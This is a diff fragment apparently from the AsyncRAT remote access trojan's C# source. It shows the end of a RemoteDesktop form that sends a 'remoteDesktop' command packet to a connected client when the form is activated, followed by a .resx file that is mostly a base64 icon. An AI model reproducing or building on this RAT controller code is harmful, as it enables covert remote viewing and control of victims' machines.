||||||
|
{
|
||||||
|
if (!C.Client.Connected)
|
||||||
|
{
|
||||||
|
this.Close();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private void RemoteDesktop_Activated(object sender, EventArgs e)
|
||||||
|
{
|
||||||
|
if (Active == false)
|
||||||
|
{
|
||||||
|
Active = true;
|
||||||
|
MsgPack msgpack = new MsgPack();
|
||||||
|
msgpack.ForcePathObject("Packet").AsString = "remoteDesktop";
|
||||||
|
msgpack.ForcePathObject("Option").AsString = "true";
|
||||||
|
C.BeginSend(msgpack.Encode2Bytes());
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private void RemoteDesktop_Deactivate(object sender, EventArgs e)
|
||||||
|
{
|
||||||
|
if (Active == true)
|
||||||
|
{
|
||||||
|
Active = false;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
580
AsyncRAT-C#/AsyncRAT-Sharp/Forms/RemoteDesktop.resx
Normal file
580
AsyncRAT-C#/AsyncRAT-Sharp/Forms/RemoteDesktop.resx
Normal file
@ -0,0 +1,580 @@
|
|||||||
|
<?xml version="1.0" encoding="utf-8"?>
|
||||||
|
<root>
|
||||||
|
<!--
|
||||||
|
Microsoft ResX Schema
|
||||||
|
|
||||||
|
Version 2.0
|
||||||
|
|
||||||
|
The primary goals of this format is to allow a simple XML format
|
||||||
|
that is mostly human readable. The generation and parsing of the
|
||||||
|
various data types are done through the TypeConverter classes
|
||||||
|
associated with the data types.
|
||||||
|
|
||||||
|
Example:
|
||||||
|
|
||||||
|
... ado.net/XML headers & schema ...
|
||||||
|
<resheader name="resmimetype">text/microsoft-resx</resheader>
|
||||||
|
<resheader name="version">2.0</resheader>
|
||||||
|
<resheader name="reader">System.Resources.ResXResourceReader, System.Windows.Forms, ...</resheader>
|
||||||
|
<resheader name="writer">System.Resources.ResXResourceWriter, System.Windows.Forms, ...</resheader>
|
||||||
|
<data name="Name1"><value>this is my long string</value><comment>this is a comment</comment></data>
|
||||||
|
<data name="Color1" type="System.Drawing.Color, System.Drawing">Blue</data>
|
||||||
|
<data name="Bitmap1" mimetype="application/x-microsoft.net.object.binary.base64">
|
||||||
|
<value>[base64 mime encoded serialized .NET Framework object]</value>
|
||||||
|
</data>
|
||||||
|
<data name="Icon1" type="System.Drawing.Icon, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
|
||||||
|
<value>[base64 mime encoded string representing a byte array form of the .NET Framework object]</value>
|
||||||
|
<comment>This is a comment</comment>
|
||||||
|
</data>
|
||||||
|
|
||||||
|
There are any number of "resheader" rows that contain simple
|
||||||
|
name/value pairs.
|
||||||
|
|
||||||
|
Each data row contains a name, and value. The row also contains a
|
||||||
|
type or mimetype. Type corresponds to a .NET class that support
|
||||||
|
text/value conversion through the TypeConverter architecture.
|
||||||
|
Classes that don't support this are serialized and stored with the
|
||||||
|
mimetype set.
|
||||||
|
|
||||||
|
The mimetype is used for serialized objects, and tells the
|
||||||
|
ResXResourceReader how to depersist the object. This is currently not
|
||||||
|
extensible. For a given mimetype the value must be set accordingly:
|
||||||
|
|
||||||
|
Note - application/x-microsoft.net.object.binary.base64 is the format
|
||||||
|
that the ResXResourceWriter will generate, however the reader can
|
||||||
|
read any of the formats listed below.
|
||||||
|
|
||||||
|
mimetype: application/x-microsoft.net.object.binary.base64
|
||||||
|
value : The object must be serialized with
|
||||||
|
: System.Runtime.Serialization.Formatters.Binary.BinaryFormatter
|
||||||
|
: and then encoded with base64 encoding.
|
||||||
|
|
||||||
|
mimetype: application/x-microsoft.net.object.soap.base64
|
||||||
|
value : The object must be serialized with
|
||||||
|
: System.Runtime.Serialization.Formatters.Soap.SoapFormatter
|
||||||
|
: and then encoded with base64 encoding.
|
||||||
|
|
||||||
|
mimetype: application/x-microsoft.net.object.bytearray.base64
|
||||||
|
value : The object must be serialized into a byte array
|
||||||
|
: using a System.ComponentModel.TypeConverter
|
||||||
|
: and then encoded with base64 encoding.
|
||||||
|
-->
|
||||||
|
<xsd:schema id="root" xmlns="" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:msdata="urn:schemas-microsoft-com:xml-msdata">
|
||||||
|
<xsd:import namespace="http://www.w3.org/XML/1998/namespace" />
|
||||||
|
<xsd:element name="root" msdata:IsDataSet="true">
|
||||||
|
<xsd:complexType>
|
||||||
|
<xsd:choice maxOccurs="unbounded">
|
||||||
|
<xsd:element name="metadata">
|
||||||
|
<xsd:complexType>
|
||||||
|
<xsd:sequence>
|
||||||
|
<xsd:element name="value" type="xsd:string" minOccurs="0" />
|
||||||
|
</xsd:sequence>
|
||||||
|
<xsd:attribute name="name" use="required" type="xsd:string" />
|
||||||
|
<xsd:attribute name="type" type="xsd:string" />
|
||||||
|
<xsd:attribute name="mimetype" type="xsd:string" />
|
||||||
|
<xsd:attribute ref="xml:space" />
|
||||||
|
</xsd:complexType>
|
||||||
|
</xsd:element>
|
||||||
|
<xsd:element name="assembly">
|
||||||
|
<xsd:complexType>
|
||||||
|
<xsd:attribute name="alias" type="xsd:string" />
|
||||||
|
<xsd:attribute name="name" type="xsd:string" />
|
||||||
|
</xsd:complexType>
|
||||||
|
</xsd:element>
|
||||||
|
<xsd:element name="data">
|
||||||
|
<xsd:complexType>
|
||||||
|
<xsd:sequence>
|
||||||
|
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
|
||||||
|
<xsd:element name="comment" type="xsd:string" minOccurs="0" msdata:Ordinal="2" />
|
||||||
|
</xsd:sequence>
|
||||||
|
<xsd:attribute name="name" type="xsd:string" use="required" msdata:Ordinal="1" />
|
||||||
|
<xsd:attribute name="type" type="xsd:string" msdata:Ordinal="3" />
|
||||||
|
<xsd:attribute name="mimetype" type="xsd:string" msdata:Ordinal="4" />
|
||||||
|
<xsd:attribute ref="xml:space" />
|
||||||
|
</xsd:complexType>
|
||||||
|
</xsd:element>
|
||||||
|
<xsd:element name="resheader">
|
||||||
|
<xsd:complexType>
|
||||||
|
<xsd:sequence>
|
||||||
|
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
|
||||||
|
</xsd:sequence>
|
||||||
|
<xsd:attribute name="name" type="xsd:string" use="required" />
|
||||||
|
</xsd:complexType>
|
||||||
|
</xsd:element>
|
||||||
|
</xsd:choice>
|
||||||
|
</xsd:complexType>
|
||||||
|
</xsd:element>
|
||||||
|
</xsd:schema>
|
||||||
|
<resheader name="resmimetype">
|
||||||
|
<value>text/microsoft-resx</value>
|
||||||
|
</resheader>
|
||||||
|
<resheader name="version">
|
||||||
|
<value>2.0</value>
|
||||||
|
</resheader>
|
||||||
|
<resheader name="reader">
|
||||||
|
<value>System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
|
||||||
|
</resheader>
|
||||||
|
<resheader name="writer">
|
||||||
|
<value>System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
|
||||||
|
</resheader>
|
||||||
|
<metadata name="timer1.TrayLocation" type="System.Drawing.Point, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a">
|
||||||
|
<value>17, 17</value>
|
||||||
|
</metadata>
|
||||||
|
<assembly alias="System.Drawing" name="System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a" />
|
||||||
|
<data name="$this.Icon" type="System.Drawing.Icon, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
|
||||||
|
<value>
|
||||||
|
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
|
||||||
|
AP/afAD/x3MA/8NxAP/DcQD/w3EA/8JvAP/CbwD/wm8A/MNxAMfDcQBZw3EADMNxAADDcQAA3X0AAN19
|
||||||
|
AADdfQBh3X0A9d5/BP/mn0P/6apZ/+WdP//dfgP/3X0A/919AP/afAD/x3MA/8NxAP/DcQD/w3EB/9GR
|
||||||
|
O//Yoln/1JhH/8R0Bv/DcQD5w3EAc8NxAADDcQAA3X0AAN19AADdfQCM3X0A/919AP/wxIz///////rt
|
||||||
|
2//hjiP/3XwA/919AP/afAD/x3MA/8NxAP/DcAD/yX8a//Tl0f//////58eb/8RzA//DcQD/w3EAoMNx
|
||||||
|
AAHDcQAA3X0AAN19AALdfQCl3X0A/917AP/kmDb//PTq///////rs2r/3HsA/919AP/afAD/x3IA/8Nx
|
||||||
|
AP/CbwD/2KRc//79/P/89/H/0pVC/8JvAP/DcQD/w3EAuMNxAAfDcQAA3X0AAN19AAjdfQC83X0A/919
|
||||||
|
AP/efwX/89Gk///////23r7/4IgV/96CCv/cgQr/yXgK/8V2Cv/HehH/7dOx///////t1LP/xXYK/8Nx
|
||||||
|
AP/DcQD/w3EAzcNxABHDcQAA3X0AAN19ABPdfQDR3X0A/919AP/dewD/56JJ//769P/++/j/+OPJ//ff
|
||||||
|
wf/238L/8d3C//Dcwf/y4Mf//fn1//78+v/XoVf/wm8A/8NxAP/DcQD/w3EA38NxAB7DcQAA3X0AAN19
|
||||||
|
ACHdfQDi3X0A/919AP/dfQD/34MN//bbuv////////////////////////////////////////////Lg
|
||||||
|
x//HexP/w3AA/8NxAP/DcQD/w3EA7cNxAC/DcQAA3X0AAN19ADPdfQDv3X0A/919AP/dfQD/3XsA/+mt
|
||||||
|
Xv/+/fv//vv3/+/AhP/oq1z/26Zd/9+1ev/89/H//////92ub//CbwD/w3EA/8NxAP/DcQD/w3EA98Nx
|
||||||
|
AETDcQAA3X0AAN19AEjdfQD53X0A/919AP/dfQD/3XwA/+CIF//45cz//////+27ev/ZeAD/xW4A/9qp
|
||||||
|
Z///////9urZ/8qCIP/DcAD/w3EA/8NxAP/DcQD/w3EA/sNxAFvDcQAA3X0AAN19AGDdfQD/3X0A/919
|
||||||
|
AP/dfQD/3X0A/918AP/tuHX///////nmzv/dhxb/ynkM/+/bvv//////4ryG/8NwAP/DcQD/w3EA/8Nx
|
||||||
|
AP/DcQD/w3EA/8NxAHTDcQAA3X0AAN19AHndfQD/3X0A/919AP/dfQD/3X0A/918AP/ijyT/+u3d///+
|
||||||
|
/P/lp1b/15hE//369f/58uf/zosw/8JvAP/DcQD/w3EA/8NxAP/DcQD/w3EA/8NxAI7DcQAA3X0AAN19
|
||||||
|
AJPdfQD/3X0A/919AP/dfQD/3X0A/919AP/dfQD/8MSM///////z17P/7c6l///////oyZ7/xHME/8Nx
|
||||||
|
AP/DcQD/w3EA/8NxAP/DcQD/w3EA/8NxAKfDcQAD3X0ABN19AKvdfQD/3X0A/919AP/dfQD/3X0A/919
|
||||||
|
AP/dewD/5Jc0//z06v/+/Pn//vv3//z48v/TlkP/wm8A/8NxAP/DcQD/w3EA/8NxAP/DcQD/w3EA/8Nx
|
||||||
|
AL3DcQAL3X0ADd19AMHdfQD/3X0A/919AP/dfQD/3X0A/919AP/dfQD/3n8F//PQo////////////+3V
|
||||||
|
tP/Fdgr/w3EA/8NxAP/DcQD/w3EA/8NxAP/DcQD/w3EA/8NxANHDcQAX3X0AGt19ANXdfQD/3X0A/919
|
||||||
|
AP/dfQD/3X0A/919AP/dfQD/3XsA/+ahR//++fT//vz6/9iiWf/CbwD/w3EA/8NxAP/DcQD/w3EA/8Nx
|
||||||
|
AP/DcQD/w3EA/8NxAOLDcQAo3X0AJ919AN3dfQD/3X0A/919AP/dfQD/3X0A/919AP/dfQD/3X0A/96D
|
||||||
|
DP/23Lv/8uLL/8d8FP/DcAD/w3EA/8NxAP/DcQD/w3EA/8NxAP/DcQD/w3EA/8NxAOjDcQA33X0ACN19
|
||||||
|
AEXdfQCU3X0A1919APrdfQD/3X0A/919AP/dfQD/3X0A/917AP/pq1z/3Kxr/8JvAP/DcQD/w3EA/8Nx
|
||||||
|
AP/DcQD/w3EA/8NxAPvDcQDcw3EAm8NxAE3DcQAMAAAAAN19AADdfQAC3X0AG919AFbdfQCj3X0A4d19
|
||||||
|
AP3dfQD/3X0A/919AP/cgQv/yXkN/8NwAP/DcQD/w3EA/8NxAP3DcQDlw3EAqsNxAF3DcQAfw3EAA8Nx
|
||||||
|
AAAAAAAAAAAAAAAAAAAAAAAA3X0AAN19AADdfQAE3X0AJN19AGTdfQCw3X0A5919AP3aewD/x3IA/8Nx
|
||||||
|
AP7DcQDrw3EAtsNxAGzDcQApw3EABcNxAADDcQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
||||||
|
AAAAAAAA3X0AAN19AADdfQAI3X0ANd19AIXafADZx3MA3sNxAI3DcQA7w3EAC8NxAADDcQAAAAAAAAAA
|
||||||
|
AAAAAAAAAAAAAAAAAAAAAAAA/4H/AP4AfwD8AD8A8AAPAMAAAwDAAAMAwAABAIAAAQCAAAEAgAABAIAA
|
||||||
|
AQCAAAEAgAABAIAAAQCAAAEAgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAwAADAPgAHwD/AP8AKAAAACAA
|
||||||
|
AABAAAAAAQAgAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
||||||
|
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAN19AADdfQAE3n0AQdp8AL3IcwDKwnEAT8NxAAfDcQAAAAAAAAAA
|
||||||
|
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
||||||
|
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAN19AADdfQAB3X0AKN19AI/dfQDo23wA/8dzAP/DcQDvw3EAncNx
|
||||||
|
ADLDcQACw3EAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
||||||
|
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAN19AADdfQAA3X0AG919AHrdfQDe3X0A/919AP/bfAD/x3MA/8Nx
|
||||||
|
AP/DcQD/w3EA5sNxAIjDcQAjw3EAAMNxAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
||||||
|
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAN19AADdfQAA3X0AEN19AGPdfQDP3X0A/d19AP/dfQD/3X0A/9t8
|
||||||
|
AP/HcwD/w3EA/8NxAP/DcQD/w3EA/sNxANnDcQByw3EAF8NxAADDcQAAAAAAAAAAAAAAAAAAAAAAAAAA
|
||||||
|
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAN19AADdfQAA3X0ACd19AE7dfQC93X0A+d19AP/dfQD/3X0A/919
|
||||||
|
AP/dfQD/23wA/8dzAP/DcQD/w3EA/8NxAP/DcQD/w3EA/8NxAPzDcQDIw3EAW8NxAA3DcQAAw3EAAAAA
|
||||||
|
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADdfQAA3X0ABN19ADrdfQCo3X0A8919AP/dfQD/3X0A/919
|
||||||
|
AP/dfQD/3X0A/919AP/bfAD/x3MA/8NxAP/DcQD/w3EA/8NxAP/DcQD/w3EA/8NxAP/DcQD4w3EAtcNx
|
||||||
|
AEfDcQAHw3EAAAAAAAAAAAAAAAAAAAAAAADdfQAA3X0AAN19ACPdfQCS3X0A6919AP/cewD/3HsA/9x7
|
||||||
|
AP/dfAD/3X0A/919AP/dfQD/3X0A/9t8AP/HcwD/w3EA/8NxAP/DcQD/w3EA/8NwAP/CbwD/wm8A/8Jv
|
||||||
|
AP/DcQD/w3EA8cNxAKDDcQAuw3EAAMNxAAAAAAAAAAAAAN19AADdfQAA3X0Akd19AP/dfAD/4IgV/+qx
|
||||||
|
Zv/stW7/67Rt/+KRKf/dfAD/3X0A/919AP/dfQD/23wA/8dzAP/DcQD/w3EA/8NxAP/DcAD/yoMh/9ys
|
||||||
|
a//drm7/3Kxq/8qBHP/DcAD/w3EA/8NxAKvDcQAEw3EAAAAAAAAAAAAA3X0AAN19AATdfQCv3X0A/918
|
||||||
|
AP/fhhH/9+DC////////////8cmV/919Af/dfQD/3X0A/919AP/bfAD/x3MA/8NxAP/DcQD/w3EA/8Nw
|
||||||
|
AP/huYH////////////05tL/yYAb/8NwAP/DcQD/w3EAx8NxAA7DcQAAAAAAAAAAAADdfQAA3X0ADd19
|
||||||
|
AMXdfQD/3X0A/917AP/rsWf///79///////67d3/4o4j/918AP/dfQD/3X0A/9t8AP/HcwD/w3EA/8Nx
|
||||||
|
AP/DcAD/yH0X//Tkz////////////+C1fP/CcAD/w3EA/8NxAP/DcQDaw3EAGsNxAAAAAAAAAAAAAN19
|
||||||
|
AADdfQAZ3X0A2N19AP/dfQD/3XwA/+GLHP/56dP////////+/v/rs2r/3HsA/919AP/dfQD/23wA/8dz
|
||||||
|
AP/DcQD/w3EA/8JvAP/XoVf//vz6///////47uH/zIcp/8JwAP/DcQD/w3EA/8NxAOnDcQAqw3EAAAAA
|
||||||
|
AAAAAAAA3X0AAN19ACndfQDo3X0A/919AP/dfQD/3XwA/+69fv////////////bdvf/fhhL/3oAF/96A
|
||||||
|
Bv/bfwb/yHYG/8R0Bv/EdAX/xncM/+vQrP///////////+bDk//DcQL/w3EA/8NxAP/DcQD/w3EA9MNx
|
||||||
|
AD7DcQAAAAAAAAAAAADdfQAA3X0APN19APPdfQD/3X0A/919AP/dfAD/45Iq//vw4v///////vr2//be
|
||||||
|
v//12bX/9dm1//TZtf/v1rX/7ta1/+7Wtf/v2bv//Pjy///////79e3/0JE6/8JvAP/DcQD/w3EA/8Nx
|
||||||
|
AP/DcQD8w3EAVcNxAAAAAAAAAAAAAN19AADdfQBT3X0A+919AP/dfQD/3X0A/919AP/dfgL/8cmW////
|
||||||
|
/////////////////////////////////////////////////////////////+vQqv/EdAf/w3EA/8Nx
|
||||||
|
AP/DcQD/w3EA/8NxAP/DcQBuw3EAAMNxAADdfQAA3X0AAN19AGvdfQD/3X0A/919AP/dfQD/3X0A/917
|
||||||
|
AP/lmzz//fbu/////////////vr1//337//99/D//Pfw//v28P/8+fT////////////9+vb/1ZxP/8Jv
|
||||||
|
AP/DcQD/w3EA/8NxAP/DcQD/w3EA/8NxAIfDcQAAw3EAAN19AADdfQAA3X0Ahd19AP/dfQD/3X0A/919
|
||||||
|
AP/dfQD/3X0A/96ACP/01Kz////////////z0KT/5Jcz/+KXNP/SkDT/zowy/+TAjv////////////Db
|
||||||
|
v//GeQ//w3AA/8NxAP/DcQD/w3EA/8NxAP/DcQD/w3EAocNxAAHDcQAA3X0AAN19AADdfQCf3X0A/919
|
||||||
|
AP/dfQD/3X0A/919AP/dfQD/3XsA/+ilUP/++/b///////jmzv/ghxj/2nkA/8ZxAP/Fdgz/7ti5////
|
||||||
|
///+/fz/26ll/8JvAP/DcQD/w3EA/8NxAP/DcQD/w3EA/8NxAP/DcQC4w3EAB8NxAADdfQAA3X0AB919
|
||||||
|
ALbdfQD/3X0A/919AP/dfQD/3X0A/919AP/dfAD/34UQ//ffwP///////v37/+msXP/aegD/xnEA/9KW
|
||||||
|
RP/8+PL///////Tm0v/Jfxv/w3AA/8NxAP/DcQD/w3EA/8NxAP/DcQD/w3EA/8NxAM3DcQARw3EAAN19
|
||||||
|
AADdfQAQ3X0AzN19AP/dfQD/3X0A/919AP/dfQD/3X0A/919AP/dewD/6rBm///+/P//////9diy/9yA
|
||||||
|
Cf/HcwL/58aZ////////////4LZ9/8NwAP/DcQD/w3EA/8NxAP/DcQD/w3EA/8NxAP/DcQD/w3EA38Nx
|
||||||
|
AB/DcQAA3X0AAN19AB3dfQDe3X0A/919AP/dfQD/3X0A/919AP/dfQD/3X0A/918AP/gihv/+ejS////
|
||||||
|
///99+7/4pg5/9CHJf/47uH///////ju4f/NiCn/wnAA/8NxAP/DcQD/w3EA/8NxAP/DcQD/w3EA/8Nx
|
||||||
|
AP/DcQDtw3EAMMNxAADdfQAA3X0ALt19AOzdfQD/3X0A/919AP/dfQD/3X0A/919AP/dfQD/3X0A/918
|
||||||
|
AP/uvH3////////////txI3/47R2////////////5sOV/8NyAv/DcQD/w3EA/8NxAP/DcQD/w3EA/8Nx
|
||||||
|
AP/DcQD/w3EA/8NxAPfDcQBEw3EAAN19AADdfQBD3X0A9t19AP/dfQD/3X0A/919AP/dfQD/3X0A/919
|
||||||
|
AP/dfQD/3XwA/+KRKf/78OH///////vx5f/47d7///////v17f/Rkjv/wm8A/8NxAP/DcQD/w3EA/8Nx
|
||||||
|
AP/DcQD/w3EA/8NxAP/DcQD/w3EA/sNxAFzDcQAA3X0AAN19AFrdfQD93X0A/919AP/dfQD/3X0A/919
|
||||||
|
AP/dfQD/3X0A/919AP/dfQD/3X0C//HIlP//////////////////////69Cs/8V1B//DcQD/w3EA/8Nx
|
||||||
|
AP/DcQD/w3EA/8NxAP/DcQD/w3EA/8NxAP/DcQD/w3EAdcNxAADdfQAA3X0Ac919AP/dfQD/3X0A/919
|
||||||
|
AP/dfQD/3X0A/919AP/dfQD/3X0A/919AP/dewD/5Zo7//327f////////////369v/WnVD/wm8A/8Nx
|
||||||
|
AP/DcQD/w3EA/8NxAP/DcQD/w3EA/8NxAP/DcQD/w3EA/8NxAP/DcQCOw3EAAN19AADdfQCM3X0A/919
|
||||||
|
AP/dfQD/3X0A/919AP/dfQD/3X0A/919AP/dfQD/3X0A/919AP/egAf/9NSq////////////8NzA/8d5
|
||||||
|
EP/DcAD/w3EA/8NxAP/DcQD/w3EA/8NxAP/DcQD/w3EA/8NxAP/DcQD/w3EA/8NxAKfDcQAD3X0AA919
|
||||||
|
AKbdfQD/3X0A/919AP/dfQD/3X0A/919AP/dfQD/3X0A/919AP/dfQD/3X0A/917AP/npE7//vr2//7+
|
||||||
|
/f/bqmb/wm8A/8NxAP/DcQD/w3EA/8NxAP/DcQD/w3EA/8NxAP/DcQD/w3EA/8NxAP/DcQD/w3EAv8Nx
|
||||||
|
AAzdfQAF3X0Akt19APLdfQD/3X0A/919AP/dfQD/3X0A/919AP/dfQD/3X0A/919AP/dfQD/3XwA/9+E
|
||||||
|
D//338H/9ejW/8mAG//DcAD/w3EA/8NxAP/DcQD/w3EA/8NxAP/DcQD/w3EA/8NxAP/DcQD/w3EA/8Nx
|
||||||
|
APXDcQCnw3EAD919AADdfQAM3X0AOt19AIPdfQDL3X0A9d19AP/dfQD/3X0A/919AP/dfQD/3X0A/919
|
||||||
|
AP/dfQD/3XsA/+uwZf/gtXv/w3AA/8NxAP/DcQD/w3EA/8NxAP/DcQD/w3EA/8NxAP/DcQD/w3EA+MNx
|
||||||
|
ANLDcQCNw3EAQsNxABDDcQAAAAAAAAAAAADdfQAA3X0AAN19ABLdfQBH3X0Ak919ANbdfQD53X0A/919
|
||||||
|
AP/dfQD/3X0A/919AP/dfQD/3YQQ/8t9FP/DcAD/w3EA/8NxAP/DcQD/w3EA/8NxAP/DcQD7w3EA3MNx
|
||||||
|
AJzDcQBQw3EAF8NxAAHDcQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAN19AADdfQAC3X0AGt19
|
||||||
|
AFXdfQCi3X0A4N19APzdfQD/3X0A/919AP/aewD/x3IA/8NxAP/DcQD/w3EA/8NxAP3DcQDmw3EAq8Nx
|
||||||
|
AF/DcQAgw3EAA8NxAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
||||||
|
AADdfQAA3X0AAN19AATdfQAj3X0AY919AK/dfQDn3X0A/dt8AP/HcwD/w3EA/sNxAOvDcQC4w3EAbcNx
|
||||||
|
ACrDcQAGw3EAAMNxAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
||||||
|
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAN19AADdfQAA3X0ACN19ADXdfQCD2nwA2MhzAN/DcQCPw3EAPcNx
|
||||||
|
AAzDcQAAw3EAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD/+B///+AH///A
|
||||||
|
A///AAD//AAAP/AAAA/gAAAH4AAAA8AAAAPAAAADwAAAA8AAAAPAAAADwAAAA8AAAAPAAAABwAAAAYAA
|
||||||
|
AAGAAAABgAAAAYAAAAGAAAABgAAAAYAAAAGAAAAAAAAAAAAAAACAAAAB8AAAB/wAAD//gAH///AP/ygA
|
||||||
|
AAAwAAAAYAAAAAEAIAAAAAAAACQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
||||||
|
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAN19
|
||||||
|
AADdfQAE3n0AP9p8ALrIdADMwnEAU8NxAAnDcQAAw3EAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
||||||
|
